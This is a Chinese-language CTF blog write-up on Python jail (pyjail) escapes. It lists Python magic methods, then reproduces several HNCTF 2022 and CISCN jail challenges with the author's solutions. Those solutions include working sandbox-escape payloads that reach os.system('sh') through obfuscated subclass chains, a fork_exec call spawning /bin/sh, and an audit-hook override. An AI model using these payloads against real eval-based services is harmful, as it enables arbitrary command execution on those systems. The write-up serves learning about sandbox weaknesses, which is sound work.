pyjail初了解
7 分钟
前言
最近在各种比赛Misc方向都能多多小小看到Python jail题,通过eval或者exec等函数执行Python的代码获取shell,实现Python逃逸,但是我不是太会,因此找点题目做一下,总结一下。
常用Python的魔术方法
- \__init\__:用于Python进行类的构造函数,简单来说就是进行类的初始化操作。
- \__str\__:用于在对象或类的字符串表示中,如在类中使用\__str\__方法,使用print()打印这个实例化类的时候,就会打印这个方法中返回的字符串。
- \__len\__:返回一个对象的长度,比如返回list的长度
- \__call\__:当类实例被当作函数执行时会触发此方法
- \__eq\__:判断两个对象是否相等时候自动进行调用
- \__getitem\__,根据索引返回对象的某一个元素,比如对a列表使用a.\__getitem\__(1)则返回列表的第二个元素。
- \__setitem\__:用于设置对象的属性,当对某个对象赋值时则会直接调用。
- \__add\__,\__sub\__,\__mul\__,\__div\__对对象进行加减乘除时自动调用,如a=1,b=2,a.\__add\__(b)值为3。
- \__delattr\__:删除对象某个属性时使用。
- \__getattr\__:查看对象是否含有某个属性,比如说某个类a,假如调用a中的某个方法没有,则会调用\__getattr\__方法。
- \__setattr\__:每次设置属性时,就会调用该方法。
- \__subclasses\__:返回当前类的所有子类。
- \__class\__:返回当前对象属于的类,如'a'.\__class\__属于str类
- \__dir\__:使用dir(对象)时候触发,可以自定义成员列表的返回值
- \__dict\__:可以查看内部的属性名和值组成的字典
- \__doc\__:返回默认类的一个帮助文档,是一串文字
- \__import\__:载入模块的函数,如载入os模块为\__import\__('os')
- \__builtins\__:显示当前运行环境中的所有函数和类
- \__file\__:显示变量当前运行代码的所在路径,如open(\__file\__).read()读取当前代码
- globals:返回全局变量
- _ :返回上一次运行python语句的结果,可以进行字符串的拼接
- \__base\__:返回当前的类的基类
例题
[CISCN 2023 初赛]pyshell
题目限制了字符的数量,一次只允许输入7个字符以内,想要绕过,可以通过_不断的进行字符串的叠加,再利用eval()进行一些命令的执行。
[HNCTF 2022 Week1]calc_jail_beginner_level1(JAIL)
给出源码:
#the function of filter will banned some string ',",i,b
#it seems banned some payload
#Can u escape it?Good luck!
def filter(s):
not_allowed = set('"\'`ib')
return any(c in not_allowed for c in s)
WELCOME = '''
_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | /_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| || |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ || |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_||_|
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
题目过滤了i,n、双引号,单引号,反引号等多个字符,要执行通过os.system()获取bash或者sh,显然要出现单引号,但是这里不能存在单引号,可以使用chr()进行绕过,至于import等都不能用了,可以通过构造类的方法,构造出os,查询object类的所有子类即可,但是b不能用,因此使用其它类如字符类的基类即base构造出object类。
即().__class__.__base__.__subclasses__()使用这样即可得出所有的子类,然后再通过os类的位置,最后使用().__class__.__base__.__subclasses__()[1].__init__.\_globals\_['system']('sh')的形式即可获取到sh,但是b,单引号不能使用。因此得使用getattr和chr()的形式进行绕过。
看到os在-4的位置
最终构造出来就是:
getattr(getattr(getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()[-4],chr(95)+chr(95)+chr(105)+chr(110)+chr(105)+chr(116)+chr(95)+chr(95)),chr(95)+chr(95)+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)+chr(95)+chr(95))[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(39)+chr(115)+chr(104)+chr(39))
[HNCTF 2022 Week1]calc_jail_beginner_level2(JAIL)
源码:
#the length is be limited less than 13
#it seems banned some payload
#Can u escape it?Good luck!
WELCOME = '''
_ _ _ _ _ _ _ ___
| | (_) (_) (_) | | | | |__ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | ) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | / /
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |/ /_
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____|
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>13:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
源码限制了字符只能是13个以内,并且只能输入一次,这样可以使用breakpoint()函数绕过,breakpoint()是3.7以后引入的内置函数,可以用于断点调试,通过一次执行breakpoint后在里面再嵌套一层eval(input()),输入os.system()引入shell即可
[HNCTF 2022 Week1]calc_jail_beginner_level2.5(JAIL)
#the length is be limited less than 13
#it seems banned some payload
#banned some unintend sol
#Can u escape it?Good luck!
def filter(s):
BLACKLIST = ["exec","input","eval"]
for i in BLACKLIST:
if i in s:
print(f'{i!r} has been banned for security reasons')
exit(0)
WELCOME = '''
_ _ _ _ _ _ _ ___ _____
| | (_) (_) (_) | | | |__ \ | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | ) | | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ | / / |___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |/ /_ _ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
filter(input_data)
if len(input_data)>13:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
这里限制了13个字符,并且把前面的input和eval等都禁用掉了,但是breakpoint()是断点调试,应该是可以对input_data重新赋值。
[HNCTF 2022 Week1]calc_jail_beginner_level3(JAIL)
#!/usr/bin/env python3
WELCOME = '''
_ _ _ _ _ _ _ ____
| | (_) (_) (_) | | | | |___ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | __) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ ||__ <
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____/
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
#the length is be limited less than 7
#it seems banned some payload
#Can u escape it?Good luck!
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>7:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
这次直接是长度7以为的限制,几乎没有多少内置函数可用,但是这里竟然能用help()函数,进入交互式后,随便查询一种用法,由于太多,会使用more进行展示,造成溢出,在后面使用!命令即可造成命令执行。
[HNCTF 2022 WEEK2]calc_jail_beginner_level4(JAIL)
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']
eval_func = eval
for m in BANLIST:
del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)
WELCOME = '''
_ _ _ _ _ _ _ _ _
| | (_) (_) (_) | | | | | || |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _|
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_|
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval_func(input_data)))
这里过滤了双引号、单引号、反引号、同时还禁掉了chr,import等,但是这里没有过滤字符b,因此可以使用bytes[]来造system,拿前面下小改一下即可
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115,121,115,116,101,109]).decode()](bytes([115,104]).decode())
[HNCTF 2022 WEEK2]calc_jail_beginner_level4.0.5(JAIL)
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr', 'input','locals','globals']
my_eval_func_0002321 = eval
my_input_func_2309121 = input
for m in BANLIST:
del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)
WELCOME = '''
_ _ _ _ _ _ _ _ _ ___ _____
| | (_) (_) (_) | | | | | || | / _ \ | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_| | | || |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| | | ||___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_| |_| | ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)\___(_)____/
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,\",' Good luck!")
input_data = my_input_func_2309121("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_0002321(input_data)))
上一个payload依旧能用
calc_jail_beginner_level4.1(JAIL)
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes']
my_eval_func_ABDC8732 = eval
my_input_func_001EC9GP = input
for m in BANLIST:
del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)
WELCOME = '''
_ _ _ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | | || |/_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_| |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_| |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)_|
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,\",' Good luck!")
input_data = my_input_func_001EC9GP("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_ABDC8732(input_data)))
把bytes给禁掉了,可以通过全部子类中找到bytes的子类索引再进行构造,可以发现bytes在索引为6的位置,os依旧是-4的位置
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115,121,115,116,101,109]).decode()](().__class__.__base__.__subclasses__()[6]([115,104]).decode())
calc_jail_beginner_level4.3(JAIL)
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes','type','open']
my_eval_func_002EFCDB = eval
my_input_func_000FDCAB = input
for m in BANLIST:
del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
not_allowed = set('"\'`+')
return any(c in not_allowed for c in s)
def main():
WELCOME = '''
_ _ _ _ _ _ _ _ _ ____
| | (_) (_) (_) | | | | | || | |___ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_ __) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _||__ <
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)____/
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,\",',+ Good luck!")
input_data = my_input_func_000FDCAB("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_002EFCDB(input_data)))
if __name__ == '__main__':
main()
这里上面脚本依旧能用,但是在网上找到了一种新的用法,通过\__doc\__寻找对应字符,如寻找到system,然后拼接到一起进行使用,过滤了+号,就使用john的形式拼接字符
().__class__.__base__.__subclasses__()[134].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))
calc_jail_beginner_level5(JAIL)
#It's an challenge for jaillevel5 let's read your flag!
import load_flag
flag = load_flag.get_flag()
def main():
WELCOME = '''
_ _ _ _ _ _ _ _____
| | (_) (_) (_) | | | | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ |___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____/
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("It's so easy challenge!")
print("Seems flag into the dir()")
repl()
def repl():
my_global_dict = dict()
my_global_dict['my_flag'] = flag
input_code = input("> ")
complie_code = compile(input_code, '<string>', 'single')
exec(complie_code, my_global_dict)
if __name__ == '__main__':
main()
class secert_flag(str):
def __repr__(self) -> str:
return "DELETED"
def __str__(self) -> str:
return "DELETED"
class flag_level5:
def __init__(self, flag: str):
setattr(self, 'flag_level5', secert_flag(flag))
def get_flag():
with open('flag') as f:
return flag_level5(f.read())
通过直接读取字典中my_flag即
calc_jail_beginner_level6(JAIL)
import sys
def my_audit_hook(my_event, _):
WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
if my_event not in WHITED_EVENTS:
raise RuntimeError('Operation not permitted: {}'.format(my_event))
def my_input():
dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
complie_code = compile(input_data, '<string>', 'single')
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)
def main():
WELCOME = '''
_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | | / /
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| |/ /_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | (_) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
__/ | _/ |
|___/ |__/
'''
CODE = '''
dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
complie_code = compile(input_data, '<string>', 'single')
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("White list of audit hook ===> builtins.input,builtins.input/result,exec,compile")
print("Some code of python jail:")
print(CODE)
my_input()
if __name__ == "__main__":
sys.addaudithook(my_audit_hook)
main()
这里通过白名单的形式限制了能使用的东西,需要使用_posixsubprocess.fork_exec来进行RCE
import os
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)
还有一种解好像是通过lamba表达式进行
exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('/bin/sh')")
calc_jail_beginner_level7(JAIL)
import ast
import sys
import os
WELCOME = '''
_ _ _ _ _ _ _ ______
(_) (_) | | | (_) | | | |____ |
_ __ _ _| | | |__ ___ __ _ _ _ __ _ __ ___ _ __ | | _____ _____| | / /
| |/ _` | | | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ | / /
| | (_| | | | | |_) | __/ (_| | | | | | | | | __/ | | | __/\ V / __/ | / /
| |\__,_|_|_| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_| |_|\___| \_/ \___|_|/_/
_/ | __/ |
|__/ |___/
'''
def verify_ast_secure(m):
for x in ast.walk(m):
match type(x):
case (ast.Import|ast.ImportFrom|ast.Call|ast.Expr|ast.Add|ast.Lambda|ast.FunctionDef|ast.AsyncFunctionDef|ast.Sub|ast.Mult|ast.Div|ast.Del):
print(f"ERROR: Banned statement {x}")
return False
return True
def exexute_code(my_source_code):
print("Pls input your code: (last line must contain only --HNCTF)")
while True:
line = sys.stdin.readline()
if line.startswith("--HNCTF"):
break
my_source_code += line
tree_check = compile(my_source_code, "input_code.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_ast_secure(tree_check):
print("check is passed!now the result is:")
compiled_code = compile(my_source_code, "input_code.py", 'exec')
exec(compiled_code)
print("Press any key to continue")
sys.stdin.readline()
while True:
os.system("clear")
print(WELCOME)
print("=================================================================================================")
print("== Welcome to the calc jail beginner level7,It's AST challenge ==")
print("== Menu list: ==")
print("== [G]et the blacklist AST ==")
print("== [E]xecute the python code ==")
print("== [Q]uit jail challenge ==")
print("=================================================================================================")
ans = (sys.stdin.readline().strip()).lower()
if ans == 'g':
print("=================================================================================================")
print("== Black List AST: ==")
print("== 'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef ==")
print("== Sub,Mult,Div,Del' ==")
print("=================================================================================================")
print("Press any key to continue")
sys.stdin.readline()
elif ans == 'e':
my_source_code = ""
exexute_code(my_source_code)
elif ans == 'q':
print("Bye")
quit()
else:
print("Unknown options!")
quit()
通过python的抽象语法树来对输入进行拦截,这里使用的竟然是函数装饰器和类定义进行绕过。
总结
好像各种奇奇怪怪的想法和payload都非常多,做个初步了解吧,慢慢再深入了解进行补充
~ ~ The End ~ ~
分类标签:CTF,CTF
文章标题:pyjail初了解
文章链接:https://aiwin.fun/index.php/archives/3992/
最后编辑:2024 年 1 月 4 日 17:59 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
文章标题:pyjail初了解
文章链接:https://aiwin.fun/index.php/archives/3992/
最后编辑:2024 年 1 月 4 日 17:59 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)